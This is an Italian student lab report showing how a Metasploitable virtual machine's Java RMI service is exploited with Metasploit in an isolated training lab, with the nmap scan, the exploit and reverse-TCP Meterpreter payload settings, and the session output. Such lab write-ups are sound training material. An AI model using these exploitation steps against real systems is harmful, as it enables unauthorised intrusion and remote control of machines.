



Umberto Valentini

# HACKING

## S7-E5



# INDICE

• Obiettivo _____	2
• IP setting _____	3
• Ricerca vulnerabilità _____	4
• Ricerca exploit _____	5
• Exploit setting _____	6
• Payload setting _____	7
• You've been hacked _____	8
• Conclusioni (Http) _____	9



# OBIETTIVO

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 Java RMI. Si richiede allo studente di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina attaccante **KALI** deve avere il seguente indirizzo IP 192.168.11.111
- La macchina vittima Metasploitable deve avere il seguente indirizzo IP 192.168.11.112
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:
  - 1) configurazione di rete.
  - 2) informazioni sulla tabella di routing della macchina vittima.





# IP SETTING

Questa fase vuole rappresentare l'attaccante come già presente all'interno della rete del bersaglio.

01

La macchina Kali è stata settata sull'IP  
192.168.11.111

02

La macchina Metasploitable è stata settata sull'IP  
192.168.11.112

```
File Actions Edit View Help
(kali㉿kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255
        inet6 fe80::37c7:2961:d92f:4725 prefixlen 64 scopeid 0x20<link>
            ether 08:00:27:ad:25:87 txqueuelen 1000 (Ethernet)
                RX packets 5 bytes 442 (442.0 B)
                RX errors 0 dropped 0 overruns 0 frame 0
                TX packets 22 bytes 2876 (2.8 KiB)
                    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
    lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
        inet 127.0.0.1 netmask 255.0.0.0
        inet6 ::1 prefixlen 128 scopeid 0x10<host>
            loop txqueuelen 1000 (Local Loopback)
                RX packets 8 bytes 480 (480.0 B)
                RX errors 0 dropped 0 overruns 0 frame 0
                TX packets 8 bytes 480 (480.0 B)
                    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```
Metasploitable2 [In esecuzione] - Oracle VM VirtualBox
File Macchina Visualizza Inserimento Dispositivi Aiuto
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet HWaddr 08:00:27:9b:64:f6
          inet addr:192.168.11.112 Bcast:192.168.11.255 Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe9b:64f6/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:1 errors:0 dropped:0 overruns:0 frame:0
          TX packets:46 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:90 (90.0 B) TX bytes:3696 (3.6 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo       Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
```



# RICERCA VULNERABILITÀ

01

Una volta presenti all'interno della stessa IP Network del bersaglio, viene svolto un ping rivolto all'IP bersaglio per assicurarsi di una corretta comunicazione. Il ping consiste nell'invio di pacchetti ICMP, ed effettivamente come risultato avremo dei parametri (n° pacchetti, pacchetti ricevuti, persi, tempistiche).

02

Confermata la comunicazione, viene svolto uno scan mediante nmap con la finalità di verificare quali servizi sono attivi, su quali porte lavorano, e soprattutto quale è la versione impiegata.

03

In questo osserviamo come sulla porta 1099, lavori il protocollo Java-rmi, e come su quest'ultimo sia presente una versione che presenta vulnerabilità.

```
(kali㉿kali)-[~]
$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=1.63 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=1.06 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=0.843 ms
^C
--- 192.168.11.112 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2007ms
rtt min/avg/max/mdev = 0.843/1.179/1.632/0.332 ms
```

```
(kali㉿kali)-[~]
$ nmap -sV 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-15 09:59 CET
Nmap scan report for 192.168.11.112
Host is up (0.00045s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet        Linux telnetd
25/tcp    open  smtp          Postfix smptd
53/tcp    open  domain        ISC BIND 9.4.2
80/tcp    open  http          Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec          netkit-rsh rexecd
513/tcp   open  login?        Netkit rshd
514/tcp   open  shell          Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs           2-4 (RPC #100003)
2121/tcp  open  ftp           ProFTPD 1.3.1
3306/tcp  open  mysql         MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc           VNC (protocol 3.3)
6000/tcp  open  X11           (access denied)
6667/tcp  open  irc           UnrealIRCd
8009/tcp  open  ajp13         Apache Jserv (Protocol v1.3)
8180/tcp  open  http          Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.49 seconds
```



# RICERCA EXPLOIT

```
[*] =[ metasploit v6.4.18-dev
+ --=[ 2437 exploits - 1255 auxiliary - 429 post
+ --=[ 1471 payloads - 47 encoders - 11 nops
+ --=[ 9 evasion

Metasploit Documentation: https://docs.metasploit.com/
msf6 > search java_rmi_server
Matching Modules
=====
#  Name
-  --
0  exploit/multi/misc/java_rmi_server      Disclosure Date  Rank   Check  Description
1    \_ target: Generic (Java Payload)      2011-10-15    excellent Yes    Java RMI Server Insecure Default
2    \_ target: Windows x86 (Native Payload) .
3    \_ target: Linux x86 (Native Payload)  .
4    \_ target: Mac OS X PPC (Native Payload) .
5    \_ target: Mac OS X x86 (Native Payload) .
6  auxiliary/scanner/misc/java_rmi_server  2011-10-15    normal    No     Java RMI Server Insecure Endpoint

Interact with a module by name or index. For example info 6, use 6 or use auxiliary/scanner/misc/java_rmi_server
msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) >
```

01

Mediante il comando “msfconsole” si avvia il Metasploit Framework. Questo tool rappresenta il miglior alleato di un attaccante, è uno strumento open source per lo sviluppo e l'esecuzione di exploits ai danni di una macchina bersaglio, è estremamente fornito di codici malevoli all'interno del proprio database. Ciò lo rende fondamentale in un pen-testing.

02

Effettuando una ricerca con il comando “search” è possibile avere un riscontro su quali siano gli exploit consoni alla nostra necessità. In questo caso specifico verrà impiegato il primo e verrà selezionato mediante il comando “use” seguito dal path dell'exploit che ci interessa. Indispensabile è tenere conto che la ricerca dell'exploit è specifica per il protocollo e la versione presenti nel bersaglio.



# EXPLOIT SETTING

01

Una volta scelto l'exploit inseriamo "show options", questo comando mostra la tabella nella quale vedere i campi necessari da compilare per poter lanciare l'exploit.

Primo fra tutti, va inserito l'IP bersaglio nella voce RHOST.

```
msf6 exploit(multi/misc/java_rmi_server) > show options
      Trash   File System   ID-Cookie   SQL_Pwd
Module options (exploit/multi/misc/java_rmi_server):
Name      Current Setting  Required  Description
HTTPDELAY    10          yes        Time that the HTTP Server will wait for the payload request
RHOSTS       10.10.10.10  yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT        1099         yes        The target port (TCP)
SRVHOST      0.0.0.0     yes        The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT      8080         yes        The local port to listen on.
SSL           false        no         Negotiate SSL for incoming connections
SSLCert       /usr/share/metasploit-framework/data/payloads/x64/meterpreter/reverse_tcp/cert.pem
URIPATH      /            no         The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
LHOST      192.168.11.111  yes        The listen address (an interface may be specified)
LPORT      4444           yes        The listen port

Exploit target:
Id  Name
--  --
0   Generic (Java Payload)

View the full module info with the info, or info -d command.
```



# PAYOUT SETTING

01

Altrettanto importante è settare il corretto Payload, esso rappresenta la porzione di codice malevolo che mi permetterà di creare una Shell con la macchina bersaglio. Fondamentale è la distinzione **Bind Shell** in cui la connessione che si stabilisce parte dall'attaccante al bersaglio, e la **Reverse Shell** in cui la connessione, al contrario, parte dal bersaglio per arrivare all'attaccante.

In questo caso noi utilizzeremo una Reverse tcp, questa scelta permetterà di evitare un blocco della comunicazione da parte dell'eventuale firewall a filtraggio dinamico.

Settato il payload, non rimane che lanciare l'attacco mediante il comando **exploit**.

```
msf6 exploit(multi/misc/java_rmi_server) > show payloads
```

## Compatible Payloads

#	Name	Disclosure Date	Rank	Check	Description
0	payload/cmd/unix/bind_aws_instance_connect	.	normal	No	Unix SSH Shell,
1	payload/generic/custom	.	normal	No	Custom Payload
2	payload/generic/shell_bind_aws_ssm	.	normal	No	Command Shell,
3	payload/generic/shell_bind_tcp	.	normal	No	Generic Command
4	payload/generic/shell_reverse_tcp	.	normal	No	Generic Command
5	payload/generic/ssh/interact	.	normal	No	Interact with ES
6	payload/java/jsp_shell_bind_tcp	.	normal	No	Java JSP Command
7	payload/java/jsp_shell_reverse_tcp	.	normal	No	Java JSP Command
8	payload/java/meterpreter/bind_tcp	.	normal	No	Java Meterpreter
9	payload/java/meterpreter/reverse_http	.	normal	No	Java Meterpreter
10	payload/java/meterpreter/reverse_https	.	normal	No	Java Meterpreter
11	payload/java/meterpreter/reverse_tcp	.	normal	No	Java Meterpreter
12	payload/java/shell/bind_tcp	.	normal	No	Command Shell,
13	payload/java/shell/reverse_tcp	.	normal	No	Command Shell,
14	payload/java/shell_reverse_tcp	.	normal	No	Java Command Sh
15	payload/multi/meterpreter/reverse_http	.	normal	No	Architecture-Inc
16	payload/multi/meterpreter/reverse_https	.	normal	No	Architecture-Inc

```
msf6 exploit(multi/misc/java_rmi_server) > set payload 11
payload => java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > exploit
```

```
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/bMlmShq
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:40567) at 2024-11-15 10:25
```

```
meterpreter > ifconfig
```



# YOU'VE BEEN HACKED

```
meterpreter > ifconfig
```

```
Interface 1
_____
Name : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::
```

```
Interface 2
_____
Name : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe9b:64f6
IPv6 Netmask : ::
```

Da Meterpreter attraverso i comandi "ifconfig" e "route" possiamo vedere l'IP della macchina all'interno della quale ci troviamo, e la sua routing table. Abbiamo quindi la conferma che l'attacco è riuscito.

```
meterpreter > route
```

```
IPv4 network routes
```

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

```
scanporte.py
```

```
IPv6 network routes
```

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:fe9b:64f6	::	::		

```
meterpreter > █
```



# CONCLUSIONI

01

L'HTTP delay si riferisce al ritardo che può verificarsi durante le comunicazioni HTTP tra un client e un server. Può essere causato da diversi fattori, come:

1. Latenza di rete: Il tempo necessario per i pacchetti di dati a viaggiare tra il client e il server.
2. Elaborazione del server: Il tempo impiegato dal server per elaborare la richiesta e generare una risposta.
3. Congestione di rete: Traffico elevato che rallenta il trasferimento dei dati.
4. Tempo di caricamento dei contenuti: Se la risposta contiene file di grandi dimensioni (come immagini o video), il download può richiedere più tempo.

Nelle simulazioni di attacchi o test di sicurezza, un HTTP delay può anche essere introdotto intenzionalmente per rallentare il traffico, confondere l'analisi o aggirare meccanismi di difesa.





Umberto Valentini

THANK YOU